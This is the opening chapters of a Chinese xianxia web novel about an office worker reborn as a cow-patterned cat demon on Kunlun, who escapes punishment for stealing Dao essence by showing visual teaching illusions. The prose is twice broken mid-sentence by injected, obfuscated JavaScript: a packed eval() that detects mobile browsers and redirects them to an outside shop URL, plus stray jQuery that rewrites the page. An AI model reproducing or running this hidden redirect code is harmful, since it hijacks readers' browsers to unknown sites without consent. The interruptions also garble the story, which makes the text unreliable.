《奶牛猫也能当洪荒主理人》
1. 其实就是PPT
洪荒不计年。
自龙汉初劫尘烟散尽,巫妖大战血染苍穹,这天地便迈入了圣人治世的篇章。昆仑山作为阐教祖庭,玉虚宫所在,向来是祥云缭绕、仙鹤翩跹的清净圣地。山中一草一木皆受玉清仙气滋养,寻常精怪若能在此修行百年,抵得过外界千年苦功。
这一日,玉虚宫正殿前的万丈云台清光湛湛。
元始天尊端坐九色莲台,顶上庆云垂落璎珞金灯,周身道韵流转如星河环绕。圣人口含天宪,正讲授玉清妙法:“天道无为,无为而无不为;圣人不仁,以万物为刍狗……”
台下听道者分列有序。
前排十二金仙肃然端坐,广成子居首,赤精子、黄龙真人等依次列位。中排是云中子、南极仙翁等福德真仙。往后数百丈,方是记名弟子、道童侍从之流,皆屏息凝神,不敢有丝毫懈怠。
讲道已持续四十九日,正是最紧要的关头。
“……故有无相生,难易相成。”元始天尊话音落下时,殿前虚空忽然漾开涟漪,三朵金莲自道韵中凝结而出,碗口大小,通体流转先天符纹,缓缓旋转间散发出的气息,让真仙心醉,令金仙动容。
这便是圣人讲道至深时,偶尔显化的“道韵金莲”。内蕴一丝天道至理,寻常修士若能参悟半分,可省千年苦修。
而云台最外围,几乎要跌出玉虚宫范围的阴影角落里,蜷着一团毛茸茸的黑白之物。
那是只猫。
准确说,是只化形未久、尚不能完全收敛本相的妖族。通体黑白斑块错落分明,正是人间所称“踏雪寻梅”花色。此刻它蜷缩如球,琥珀色的竖瞳死死盯着空中金莲,尾巴尖不自觉轻颤。
猫的识海深处,两股意识正如水火交融。
陈青是在一阵剧烈头痛中恢复知觉的。前一刻的记忆还停留在写字楼彻夜改方案的电脑前,眼前发黑猝倒,再睁眼时,就成了这只缩在昆仑山角落、名唤“青玄”的小猫妖。
他意识刚清醒不足半息,汹涌的记忆碎片便冲撞而来。
混沌初开时,盘古斧劈开鸿蒙,三千魔神陨落如雨。其中一缕最为“顽劣”的心魔碎片,竟与一丝破碎的混沌之气意外相合,自此浑浑噩噩飘荡在洪荒边缘,历经无数元会而不散。
直到百年前,这道混沌魔气偶经昆仑地脉,受玉清仙气一激,竟借山中一缕朝霞化形。因其本体非寻常生灵,化形后便成了这黑白相间的异兽之貌,山中老仙见了,笑称“此狸色如乌云踏雪,质似碧海青天”,遂得名“青玄”。
跟脚是混沌魔气所化,天性里便带着三分不羁、七分跳脱。
陈青花了两息消化这匪夷所思的身世。随即,前世作为顶尖策划的本能开始运转。眼下他身处洪荒世界,昆仑阐教地盘,身份是边缘小妖,又恰逢圣人讲道现场,机缘遍地。
他看向空中那三朵金莲,身体每个角落都在叫嚣:吃了它!吃了就能摆脱朝不保夕的处境!吃了就不用再当这缩在角落、连听讲都战战兢兢的底层妖物!
可那是圣人显化的道韵啊,吃了那东西自己还有命思考处境的事吗?!
理性在疯狂示警,但混沌魔气骨子里那股天地不羁的顽劣心性,正混合着猫科动物与生俱来的好奇心,逐渐占据上风。
更何况,识海深处有个声音在低语:你穿越来此,难道就为了重复前世那种谨小慎微、按部就班的人生?
讲道临近尾声,元始天尊闭目静坐,似在留与弟子体悟的时间。三朵金莲缓缓飘落,其中一朵的轨迹,正朝陈青所在的边缘角落偏移。
五丈、三丈、一丈……
广成子似有所感,眉头微蹙,朝这个方向瞥来一眼。
就这一眼,让陈青浑身毛发炸立!
电光石火间,他悄然运转体内那缕混沌本源,舌尖轻吐出一丝微弱的牵引之力。
这是他化形后觉醒的本命神通之一【虚实引】,能于无声处扰动气机流转。
那朵金莲边缘,三缕细若游丝的金色光雾悄然剥离,如烟似絮,飘入猫口。
成了!
陈青心脏狂跳,立即蜷回阴影,屏息凝神。三缕道韵入体,化作温润热流冲刷四肢百骸,修为以肉眼可感的速度攀升。从刚化形的地仙初期,直抵地仙中期,甚至隐隐触及后期门槛!
“玉虚圣地,岂容宵小窃取天机?”
喜悦未持续一息,平静的声音在识海中直接响起,不高,却如九天惊雷贯穿神魂。
陈青浑身僵硬,差点炸毛,他缓缓抬头看向远处。
不知何时,元始天尊已睁开圣眸,目光古井无波,正落在这个角落。那目光里没有怒意,只有一种俯瞰蝼蚁般的漠然,却比任何雷霆震怒更令人心悸。
整座云台,数百道目光齐齐汇聚。
黄龙真人面色一白,那猫妖所在的区域,名义上归他这一脉管辖。几位素来不睦的师兄弟,已投来似笑非笑的目光。
陈青的识海在疯狂寻找对策。
逃?在圣人道场逃遁,无异于自寻死路。
求饶?若说自己一时糊涂,怕是顷刻间就要被打回原形,神魂俱灭。
思忖间,他深吸一口气,自阴影中走出,化为人形。
是个十六七岁模样的少年,墨发以木簪束起,身着朴素的月白道袍,容貌清俊灵动。唯独头顶一双黑白猫耳无法收敛,身后尾巴因紧张而微微绷直。他行至云台前方,在数百道目光注视下,对着元始天尊躬身行了一礼。
姿态恭敬,却不显卑微。
“晚辈青玄,并非窃取。”少年声音清朗,带着几分初生牛犊般的朝气,“晚辈是在……体察道韵流转之妙。”
云台上一片寂静,连最沉稳的广成子都怔了半瞬。
元始天尊眉梢悄无声息地一动:“何谓体察?”
“回禀天尊。”陈青抬头,琥珀色的猫眼里满是诚恳,“晚辈观此次讲道,道韵金莲凝三朵之数,较百年前那次多出一朵。便暗自思忖,是否天尊今日所演大道,比往昔更显圆融饱满?故斗胆引一线边缘流韵,以证心中所感。”
歪理,绝对是歪理。
可他说得太过认真,那副“晚辈在潜心参悟”的神情,竟让几个年轻道童下意识点头。
玉鼎真人轻咳一声,出列低声道:“师尊,此子乃百年前借朝霞化形之异兽,跟脚……略有殊异。化形未久,恐尚未通晓玉虚礼数。”
这话实是委婉求情。
元始天尊却未看玉鼎,目光仍落在陈青身上:“既如此,你体察出了什么?”
陈青心一横,直起身,双手自然舒展,语速平稳而清晰:“晚辈体察得知,天尊今日所演大道,确实比往昔更显层叠绵长!若将道法比作织锦,往日如素帛单色,经纬分明,今日则如……如七彩云霞锦,纹路繁复却暗合天机,气象万千!”
云台边缘传来低低的嗤笑声,这小猫好生肤浅,竟是将圣人讲道比作织锦了?
陈青不慌不忙,话锋一转:“然则——”
他微微蹙眉,猫耳朵也无意识地耷拉几分,做出深思之态:“然则晚辈又觉,这般‘七彩云霞锦’虽妙,恐非所有同门皆能观其全貌。譬如后排那些尚未证得仙道的道友,他们修为尚浅,观此繁复道韵,怕是要目眩神迷,反失了修行本意。”
此言一出,后排那些记名弟子中,竟真有几人面露恍然之色。他们确实听得云山雾罩,许多精微处根本无从领会。
元始天尊眼中,掠过一丝极淡的涟漪。
“依你之见,该当如何?”
“晚辈浅见,讲道或可‘因材而施’。”陈青越说越顺,他从前是做策划的,最懂分众传播、内容适配的道理,“譬如前排广成子前辈、赤精子前辈诸位,道行高深,自可观星河浩瀚之全景。中排的师兄们,可赏云霞舒卷之妙趣。而后排的道友们,或许需先识溪流潺潺之基础,待根基稳固,再望江海。”
他顿了顿,见元始天尊没有打断之意,胆子又大了一分:“晚辈愚钝,化形时偶得一缕本命灵光,可显化‘气韵图景’。或许……或许能略尽绵力,助各位道友以更直观之法,体悟大道精微。”
他话音一落,云台上陷入了某种奇异的静默。
黄龙真人闭目轻叹,已准备聆听师尊降下的责罚。
然而,元始天尊沉默三息后,竟缓缓颔首。
“可。”
一字落下,云淡风轻。
“既有此念,便显化一观。”
陈青心脏几乎要撞出胸膛,还好元始天尊是个讲道理的,至少他暂时不会神魂俱灭了。
他深吸一气,闭目凝神,识海深处,那缕混沌本源悄然运转,混合着刚刚汲取的三缕道韵,借【虚实引】神通之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294936|198557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力,在身前虚空徐徐铺展。
起初只是朦胧光晕,渐次清晰。那是十二道气质各异的虚影,正是十二金仙之象,每道虚影旁,皆有云篆文字显化:
【广成子:气象庄严,可镇一方。宜为表率,导引正途。】
【赤精子:法度森严,刚直不阿。宜执戒律,肃清风气。】
【慈航真人:清雅温润,观者心悦。宜示慈悲,引众向善。】
……
图景再变,十二道虚影开始演绎不同情境。广成子肃然演法,身后显化山河社稷之象,赤精子演示剑诀,剑气化作经纬罗网,黄龙真人则在云海间与几条地脉龙气相戏,慈航真人拈花含笑,脚下生出莲华盛景。
甚至还有“气韵流转”之示——一道虚影代表初入道者,观看简化版的周天运转图,面露顿悟之色。另一道虚影标注“外门信众”,通过水镜之术观摩讲道片段,心生向往。
最终,所有虚影汇聚成一幅恢弘画卷,中央云篆大字熠熠生辉:
【玉清正道,万象包罗。因材施教,道传天下。】
显化结束,光影渐散,云台之上一片寂然。
众仙皆已看明白,这哪里是寻常演道,分明是将高高在上的圣人讲道,化作了更易领会、更显生动的图景脉络!
尤其那些后排弟子,看着简化版的周天图示,确觉方才晦涩处清晰了不少。
黄龙真人看着自己那“与地脉龙气相戏”的虚影,表情复杂难言。
元始天尊静观全程,圣眸深处似有星河轮转,推演天机。
良久,圣人缓缓开口:“你这灵光显化之术,确有几分巧思。”
陈青连忙躬身:“雕虫小技,不敢当天尊赞誉。”
其实就是PPT加教学动画,奈何洪荒众人没见过也就觉得大为震惊。
“然窃引道韵,终是过犯。”元始天尊语气微转,“罚你往后千年,于黄龙座下听候差遣。你所显这些巧,可先在他那一脉试行。若见成效,再议后续。”
黄龙真人一怔,连忙出列:“弟子领法旨。”
陈青心中巨石落地,非打杀,非驱逐,而是“戴罪试用”,这结果比最坏的预期好上太多!
“谢天尊开恩!”陈青这次多了几分劫后余生的欣喜。
元始天尊不再多言,目光扫过云台:“今日讲道至此,各自散去参悟。”
圣人身影化作点点清光消散,云台上气氛顿时松缓。
广成子行至黄龙真人身侧,拍了拍他肩头,意味深长:“黄龙师弟,你这新收的弟子,颇有意思。”言罢驾云而去。
赤精子经过时,看了陈青一眼,留下一句:“奇巧之术,莫忘根本。”亦转身离去。
倒是慈航道人,临行前对陈青温然一笑:“那‘引众向善’之象,颇合我心。”
陈青恭敬行礼:“师叔慈悲。”
待众仙散去大半,黄龙真人才走到陈青面前,神色复杂地打量这只给他惹了麻烦、却又似乎带来某种变数的小猫妖。
“青玄?”
“弟子在。”陈青垂首应道。
黄龙真人轻叹一声:“随我来吧,既是师尊法旨,你这‘试用’之期该如何行事,需好生计较。”
他驾起一朵黄云,陈青连忙跟上。两人一前一后飞出玉虚宫范围,朝昆仑山外围一座不算起眼的仙峰行去。
途中,陈青回首遥望渐远的玉虚宫。
霞光映照宫阙,祥云环绕峰峦,圣人气韵笼罩四方,庄严不可言喻。
他抬手摸了摸头顶那对猫耳,琥珀色的竖瞳里,闪过一丝混沌魔气特有的不羁的光。
穿越成洪荒一只奶牛猫,开局险些触怒圣人,如今成了昆仑山“传法新策”的试行者。
这开局,险之又险。
既然天道给了他再世为“妖”的机缘,又赋予这般奇异的跟脚与灵光,那这洪荒固有的“修道之法”,或许……该添些新的颜色了。
显化气象,演绎天机,乃至……以众生喜闻乐见之形式,广传大道?
陈青舔了舔嘴角,那里还残留着一缕道韵金莲的清甜余韵。
他忽然觉得,这洪荒天地,或许比他想象中更有趣些。
黄云落在一座清幽洞府前,门额上书三个古朴篆字:【听松轩】。
黄龙真人的道场,到了。
2. 论道小宴
黄龙真人的洞府“听松轩”,坐落于昆仑山南麓一处清幽山谷。
此地不如玉虚宫所在的麒麟崖那般气象万千,也不似广成子居所“九仙山”那般云霞环绕,倒是颇有几分返璞归真的意味。洞府依山而建,门前古松数株,虬枝盘曲,松涛声与远处飞瀑流水相和,自成一派天然韵律。
陈青跟在黄龙真人身后踏入洞府,内里并非想象中那般仙家洞天的富丽堂皇,反而显得颇为简朴。正厅宽敞明亮,青石铺地,四壁空无一物,唯正中悬一幅水墨松鹤图,笔意苍劲。左侧设一蒲团,右侧则是矮几茶具,再无他物。
“坐。”黄龙真人径自在蒲团上落座,指了指对面的青石墩。
陈青依言坐下,猫尾巴无意识地轻摆。他悄然打量四周,发现这洞府虽简,灵气却极为精纯浓郁,呼吸间都能感到修为有细微增长。不愧是圣人亲传的道场,哪怕只是外围一隅都胜却人间无数。
“青玄。”黄龙真人开口,语气不辨喜怒,“你可知,今日你在玉虚宫所为,已是犯了大忌?”
“弟子知晓。”陈青垂首,“窃引道韵,实属僭越。”
“不止如此。”黄龙真人摇头,“你以异类之身入玉虚听讲,本就是师尊开恩。如今又行此险举,若非你那气韵显化之术确有几分新意,此刻你已神魂俱灭,连轮回之机都不会有。”
陈青背脊微凉,恭敬道:“弟子知错。”
“错在何处?”
“错在……”陈青略一沉吟,“错在行事孟浪,未思周全。更错在,未先禀明师伯,便贸然行事,累及师父声名。”
这回答倒让黄龙真人多看他一眼。
“你倒会说话。”黄龙真人拂袖,矮几上凭空出现一套青瓷茶具,壶中水自沸,“不过你既说知错,那便说说,你打算如何‘戴罪立功’?”
水汽蒸腾,茶香渐起,陈青嗅了嗅,那茶香中蕴含一缕极淡的松针清气,闻之令人心神清明。他心中微动,开口道:“弟子愿将功补过,尽心尽力试行那气韵显化之术。只是……弟子有一事不明,还望师父指点。”
“讲。”
“今日云台之上,天尊命弟子在师父座下试行此术。敢问师父,这‘试行’二字,边界何在?是只需显化几次图景供同门参详,还是……可做些旁的尝试?”
黄龙真人执壶斟茶,动作不急不缓。
“师尊法旨,只说‘试行’,未定边界。”他将一盏茶推至陈青面前,“换言之,你有多大本事,便可试多大事。只是——”
他抬眼看向陈青,目光如古井:“凡事须合玉虚规矩,不可逾越。若有半分差池,不必等师尊降罪,为师自会清理门户。”
最后四字说得轻描淡写,却让陈青心头一凛。
“弟子明白。”
“你明白最好。”黄龙真人端起茶盏,“既如此,五日后,我这一脉弟子将聚于听松轩论道。你便以气韵显化之术,为此次论道增色一二。且让为师看看,你究竟有几分真本事。”
“弟子遵命。”
陈青捧起茶盏,浅啜一口。茶水入喉,顿觉一股清灵之气自丹田升起,竟引动体内那缕混沌本源微微震颤,与茶中道韵隐隐相和。
好茶。
他正暗自品味,却听黄龙真人又道:“你今日显化那十二道虚影,说广成子师兄‘可镇一方’,赤精子师兄‘宜执戒律’,慈航师妹‘宜示慈悲’……这些评语,从何而来?”
陈青放下茶盏,斟酌道:“回师父,此非弟子妄评,而是观诸位前辈周身气韵流转,自然显现之象。”
“哦?”黄龙真人眼中闪过一丝兴味,“那你观为师,又是何象?”
陈青抬眼看向黄龙真人。
这位在阐教十二金仙中名声不显的真人,此刻静坐蒲团之上,周身并无凌厉气势,反倒有种如大地般厚重沉稳的气韵。再细观之,那气韵中又隐现几分与地脉相连的灵动,仿佛根系深扎,枝叶却可随风舒展。
他心念微动,催动【虚实引】神通。
一缕极淡的混沌之气自指尖溢出,在两人之间的空中缓缓勾勒。不似玉虚宫那般恢弘图景,只是简简单单几笔。
一株古松生于岩缝,根须深入大地,枝叶却探向云端。松旁有清泉流淌,泉边几只仙鹤闲步,悠然自得。
图景下方,云篆浮现:【根植厚土,通达四方。松风泉韵,自在天然。】
黄龙真人凝视图景良久,洞府内唯有松涛声与煮水声轻响。
“根植厚土……”他低声重复,忽而轻笑,“你倒会避重就轻,罢了。”
他拂袖散去图景,又道:“你既看出为师与地脉有缘,可知这听松轩为何选在此处?”
陈青环顾四周,略一感应,答道:“此地虽非昆仑灵脉中枢,却是数条地脉支流交汇之处。灵气不显于外,却内蕴绵长,如深泉潜流,最适合……养炼内蕴,厚积薄发。”
黄龙真人深深看他一眼,“你倒有些眼力。”他放下茶盏,“这几日,你可在听松轩内随意走动,熟悉环境。论道之事,你好生准备。记住,莫要再行险举。”
“弟子谨记。”
“去吧。西厢有间静室,你可暂居。”
陈青行礼告退。
西厢静室确实只是“静室”,一榻、一几、一蒲团,再无他物。窗外可见几竿翠竹,竹影婆娑,倒也别致。
陈青在榻上盘膝坐下,开始梳理现状。
他如今是戴罪之身,试用期千年。直属上司黄龙真人,看似温和,实则界限分明。五日后为听松轩一脉的论道“增色”。
“不能太保守,否则体现不出价值,也不能太激进,否则容易踩线……”陈青喃喃自语,琥珀色的竖瞳里闪过思索之色。
他闭目内视,识海深处那缕混沌本源正缓缓旋转,与今日汲取的三缕道韵相互交融。随着心意微动,本源之气外显,在掌心凝聚成一小团朦胧光影。
【虚实引】神通,核心在于“引”字。
可引气机,可引光影,可引心念。若运用得当,甚至能引动一方天地的“氛围”与“韵律”。
“论道……增色……”陈青睁开眼睛,“既然是论道,重点便不在显化多壮观,而在能否助人参悟。那么,或许可以……”
一个念头逐渐在他脑海里成形。
接下来的几日,陈青除了必要的打坐调息,便是在听松轩内外走动观察。
他发现黄龙真人这一脉,弟子确实不多。除了几位常驻洞府的道童,便只有三五位正式弟子偶尔往来。这些弟子修为多在真仙境界,气质大多平和,不似玉虚宫主脉那些同门般锐气逼人。
第五日清晨,陈青正在竹林间感应地脉流转的细微韵律,忽闻钟声清响。
那是听松轩正厅的聚道钟。
论道之期到了。
陈青整理衣袍,来到正厅时,已有七八位修士落座。除却三位真仙境界的正式弟子,余者皆是道童打扮,修为在地仙到散仙之间。
黄龙真人仍坐主位蒲团,见陈青进来,只微微颔首。
众人目光齐聚陈青身上,玉虚宫之事虽未传开,但听松轩内部多少听闻了些风声。这些目光里有好奇,有审视,也有几分不以为然。
“今日论道,仍按旧例。”黄龙真人开口,“先由明心阐述《黄庭经》第三篇心得,诸位可随后发问、辩难。”
名叫明心的弟子是位面容清瘦的青年道士,闻言起身行礼,开始讲述。
陈青静静聆听。
明心所讲乃是炼气养神之法,内容扎实,条理清晰,只是讲述方式颇为刻板,如照本宣科。座中几位道童听得似懂非懂,眼中时有迷茫之色。
约莫半个时辰后,明心讲罢。
黄龙真人看向陈青:“青玄。”
陈青颔首:“弟子在。”
“你可有‘增色’之法?”
众弟子目光再度聚焦于这只小猫身上,陈青起身行礼,道:“弟子有一术,或可助诸位同门更直观体悟明心师兄所讲精要。”
他走至厅中空地,闭目凝神。
这一次,他没有显化任何人物虚影,也没有勾勒繁复图景,只是将掌心那团混沌本源之气缓缓释出,融入周遭天地。
起初并无异样,但几息之后,正厅内的“氛围”开始微妙变化。
空气中的灵气流转变得肉眼可见,它不再是无形无质,而是化作丝丝缕缕的淡青色气流,如溪流般在众人周身环绕。明心方才所讲的“气行周天”路径,此刻以灵光轨迹的方式清晰呈现。
一名道童“啊”了一声,指着自己胸前:“这、这就是膻中穴气机流转之象?”
只见他胸口位置,一道灵光正按特定韵律明灭,与明心所讲的“气归丹田”之法完全吻合。
紧接着,厅内每个人身上都开始显现不同颜色的气机轨迹。
修为高的,轨迹繁复如网,修为浅的,轨迹简练如线。但无一例外,这些轨迹都在演示最契合各自当前境界的周天运行法。
“此术名【气韵显真】。”陈青睁开眼,声音平和,“不显外象,只映本真。诸位可观自身气机流转,与明心师兄所讲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294937|198557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相互印证。”
厅内一时安静,一位真仙弟子凝神观察自身显现的轨迹,忽而面露恍然:“原来如此!我往日行气至玉枕关时总觉滞涩,如今观这轨迹,竟是因肩井穴气机牵引过急所致!”
另一名道童也惊呼:“我、我看到了!足三里气机该这样走才对!”
黄龙真人静静看着这一幕,他修为已至大罗之境,自然不需要这种显化辅助。但他能看出,这【气韵显真】之术,对真仙以下的修士确有莫大助益。将内视才能感知的气机流转,外显为可视轨迹,等于将修行关窍直接铺开展示。
更难得的是,此术并非强行干预他人修行,只是将已有的状态“映照”出来。如镜照影,不增不减。
片刻后,陈青收敛神通。
厅内灵气轨迹渐隐,众人却仍沉浸在方才的体悟中,低声交谈,面露喜色。
明心看向陈青,眼神复杂,终是拱手一礼:“青玄师弟此术,令师兄所讲之法,事半功倍。”
“师兄过誉。”陈青还礼,“若无师兄精要阐述,我也无从显化。”
黄龙真人此时开口:“此术消耗如何?”
“回师父,映照十人以内,可持续半个时辰。若人数增多或时间延长,需耗弟子本源之气。”陈青如实回答。
这气韵显真看似轻巧,实则对操控精度的要求极高,他方才全神贯注,此刻识海已有疲惫之感。
黄龙真人沉吟片刻,道:“可作辅助之法,不可替代自身修悟。你需谨记。”
“弟子明白。”
有了方才的插曲,后续的辩难环节氛围明显活跃许多。几位道童敢于开口提问了,提出的问题虽浅,却收获不少。明心等真仙弟子解答时,也自觉将道理讲得更透彻些。
陈青退回原位静坐调息,同时暗自观察黄龙真人的反应。
黄龙真人面上仍无太多表情,但眼神深处那丝赞许,却是瞒不过陈青。混沌魔气对情绪波动的感知,本就远超寻常。
论道持续至日影西斜方散。
众弟子离去时,大多对陈青点头致意,态度比初见时缓和不少。
待厅内只剩二人,黄龙真人方道:“今日之试,尚可。”
只二字评价,却已足够。
陈青心下一松,恭敬道:“谢师父认可。”
“不过,”黄龙真人话锋一转,“此术虽妙,终究只是‘术’。你既入我玉虚门下,便该参悟玉清大道根本。从明日起,你可随明心他们一同修习《黄庭经》基础篇。”
陈青行礼应下。
“此外,”黄龙真人起身,行至窗前望向外间暮色,“七日之后,玉虚宫将有一场小宴,招待蓬莱岛来的几位道友。广成子师兄传话,让你届时前往,以气韵显真之术,为宴席添几分意趣。”
陈青心里有些无奈,这洪荒世界娱乐活动确实少,只能三天一论道,五天一小宴,自己以后怕是有的忙了。
“弟子遵命。”他沉声应道。
“莫要紧张。”黄龙真人回头看他一眼,“蓬莱道友性情洒脱,不似玉虚宫这般重规矩。你只需如实展现术法即可,不必太过拘谨。”
陈青:“是。”
“去吧,好生准备。”
陈青退出正厅,回到西厢静室时,暮色已染透窗纸。
他在榻上静坐,却没有立即调息。
玉虚宫小宴……蓬莱道友……
这是个机会,也是个考验。若表现得好,或可真正在昆仑山站稳脚跟,若稍有差池,恐怕连黄龙真人都护不住他。
“不能只靠气韵显真。”陈青自语,“得有些新意……”
他想起黄龙真人那句“蓬莱道友性情洒脱”。
性情洒脱之人,会喜欢什么样的“意趣”?
陈青闭目,识海中混沌本源缓缓流转。前世那些零碎记忆早已模糊,但某些深入骨髓的感觉却沉淀下来——如何营造氛围,如何引人入胜,如何让人在轻松愉悦中接受信息……
窗外,最后一缕天光隐没。
昆仑山的夜,星河格外璀璨,无数仙山浮岛在夜色中泛着微光,如散落天穹的玉珠。
陈青推开窗,望向玉虚宫方向。
那座巍峨宫阙在星空下依旧庄严,但此刻在他眼中,却仿佛不再那么高不可攀。
他抬手,掌心一缕混沌之气溢出,在夜色中化作几点流萤般的光晕,盘旋飞舞。
光晕映亮少年清俊的侧脸,琥珀色的猫眼里,倒映着整片星空。
路还长。
但第一步,总算踏稳了。
3. 又一场
七日时光于昆仑山不过弹指。
这日晨光初透时,陈青已在听松轩正厅等候。他换上了一身新制的月白云纹道袍,那是黄龙真人命道童送来的,料子是昆仑特产的月华锦,质地轻柔,隐泛流光,比之前那身朴素袍子讲究许多。
猫耳朵依旧收不起来,他便任其自然,只将墨发整齐束起,以一根青玉簪固定。
黄龙真人自内室走出时,见陈青已候在厅中,微微颔首:“倒是守时。”
“师父吩咐,不敢怠慢。”陈青行礼。
黄龙真人打量他片刻,道:“今日小宴设在玉虚宫‘摘星阁’,赴宴者除蓬莱岛三位道友,还有广成子、赤精子、慈航三位师兄妹作陪。你只需在宴至中段时,施展气韵显真之术,为宴席添几分雅趣即可。切记,莫要多言,莫要多事。”
“弟子谨记。”
“随我来。”
黄龙真人拂袖驾云,陈青连忙跟上。这一次云头升起时,他注意到脚下祥云比平日凝实许多,速度却不急不缓,显然是黄龙真人有意照顾他的修为。
云行约半盏茶工夫,前方出现一座浮空仙阁。
那阁楼悬浮于麒麟崖侧畔的云海之上,通体以白玉筑成,檐角飞翘,雕梁画栋。阁周有七彩虹桥与主峰相连,桥下云涛翻涌,偶有仙鹤穿行其间。阁顶悬一块匾额,上书“摘星”二字,笔意洒脱,似有星辰轨迹流转其间。
“此处是玉虚宫待客之所。”黄龙真人收云落地,低声道,“平日少有人来。”
两人踏上虹桥,早有道童在阁前相迎。那道童身着玉虚宫制式道袍,面容清秀,行礼时动作一丝不苟:“黄龙师叔,青玄师兄,广成子师伯已在阁内等候。”
步入摘星阁,内里景致与外间又是一番不同。
阁高三层,中空通顶。一层大厅极为宽敞,地面铺着光可鉴人的青玉石板,四壁有七十二扇雕花长窗,此刻窗扉半开,天光与云气透入,将整个空间映得明亮而不刺目。厅中未设桌椅,只在地面错落布置着数十个锦缎蒲团,蒲团间以矮几相连,几上已摆好灵果仙酿。
广成子端坐主位蒲团,见二人进来,抬眼看来。
“黄龙师弟来了。”他声音浑厚,自带一股不怒自威的气度,目光扫过陈青时,略作停留,“这便是那日的灵猫?”
“回师兄,正是弟子青玄。”黄龙真人代为回答。
陈青上前一步,恭恭敬敬行礼:“弟子青玄,拜见广成子师伯。”
广成子嗯了一声,不再多言,只示意他们落座。
陈青随黄龙真人在左侧蒲团坐下,位置靠后,却正好能看清全场,他悄然打量四周。
赤精子坐在广成子右手边,依旧是一副不苟言笑的模样,正闭目养神,慈航道人则坐在广成子左手边,今日换了身淡青裙裳,气质温婉,见陈青看来,回以微微一笑。
约莫半柱香后,阁外传来朗笑声。
“广成子道兄,多年不见,风采更胜往昔啊!”
人未到声先闻。
三道流光自天外落下,化作三位道人踏入阁中。为首者是个身着绛紫道袍的中年模样修士,面如满月,须发乌黑,手执一柄白玉拂尘,步履间自有洒脱气度。身后两人,一为青衫文士打扮,手持竹箫,一为红袍壮汉,腰悬葫芦。
广成子起身相迎:“碧游道兄远道而来,有失远迎。请。”
原来这紫袍道人道号“碧游”,乃蓬莱岛三位岛主之一。青衫文士名“听竹”,红袍壮汉唤“赤炎”,皆是蓬莱散仙中有名的人物。
双方见礼落座,道童上前斟酒。
酒是昆仑特酿“玉露琼浆”,盛在碧玉杯中,香气清冽。灵果则是蟠桃园中次一等的三千年蟠桃,虽不及九千年那般能让人立地成仙,却也灵气充沛,对真仙以下修士大有裨益。
宴席开场,自是寒暄叙旧。
碧游真人谈笑风生,说起蓬莱近况:“……我那岛上近来出了件趣事。东海有条修行千年的白蛟,不知从何处学来人间酿酒之法,竟以海底灵泉混合百种海草,酿出一种‘碧海潮生酒’。饮之如置身汪洋,潮起潮落皆在唇齿之间,倒也别致。”
广成子含笑听着,不时颔首。
赤精子偶尔插言,话语简短却切中要害。慈航道人则负责调节气氛,言语温润,令人如沐春风。
陈青静坐倾听,暗自观察。
他发现这三位蓬莱散仙与玉虚金仙气质截然不同。后者庄严持重,法度森严,前者则洒脱随性,颇有几分游戏人间的意味。尤其是那红袍赤炎,说话声如洪钟,笑起来震得窗户微颤,与玉虚宫一贯的清净氛围形成鲜明对比。
酒过三巡,碧游真人忽将目光投向陈青。
“这位小友便是黄龙道兄新收的弟子?观其形貌,似非寻常妖族。”
黄龙真人正要开口,广成子已淡然道:“此子名青玄,跟脚有些殊异。前些日子师尊讲道时,他显露了一手气韵显化之术,倒有几分新意。今日设宴,特让他来为诸位道友助兴。”
碧游真人了然一笑:“原来如此。既是圣人认可的妙术,贫道倒要好好见识一番。”
所有人的目光都落在陈青身上。
陈青起身,行至厅中空地,行礼道:“弟子修为浅薄,所显不过雕虫小技。若有不足之处,还望诸位前辈海涵。”
说罢闭目凝神。
这一次,他没有立即施展气韵显真。
识海中混沌本源缓缓流转,与摘星阁内的天地灵气产生微妙共鸣。
宴席已进行一段时间,众人饮了灵酒,食了仙果,周身气机正处在一种松弛而活跃的状态,于是他刻意放缓了节奏,寻找绝佳时机。
约莫十息之后,陈青睁眼,掌心朝上虚托。
一缕混沌之气自掌心升起,却不是笔直向上,而是如烟似雾般弥散开来,融入整个厅堂的空气之中。
起初并无异样,但很快,坐在左侧的听竹真人轻轻“咦”了一声。
他手中那柄竹箫,竟自行泛起了温润青光。箫身上雕刻的细密纹路仿佛活了过来,随着青光流转,隐隐有清越箫音在众人心头响起。
紧接着,赤炎真人腰间葫芦微微一震,葫芦口溢出缕缕赤霞,在空气中凝成火焰状的虚影,跳跃不定。
碧游真人的白玉拂尘无风自动,尘尾丝缕泛起紫金光华,如星河垂落。
玉虚宫这边,广成子身前的玉杯泛起清辉,杯中琼浆漾起圈圈涟漪,赤精子腰间佩剑轻鸣,剑鞘上符文流转,慈航道人发间玉簪生光,簪头雕刻的莲花生出淡淡虚影。
厅中每个人随身携带的法宝、饰品,乃至衣物上的纹绣,都开始泛起与本主气息相应的灵光。
这不是陈青刻意为之,气韵显真之术的本质,是“映照真实”。他只是将术法范围扩大到整个厅堂,并将映照的对象,从人体气机延伸至与人身气息相连的“外物”。
于是,法宝的灵性、饰品的材质、衣袍的纹路……凡与主人气息相合之物,皆显露出本真韵律。
碧游真人看着自己拂尘上流淌的紫金光华,眼中闪过一丝讶异:“此术……竟能引动法宝灵性共鸣?”
广成子神色依旧平静,眼底却有微光闪过。
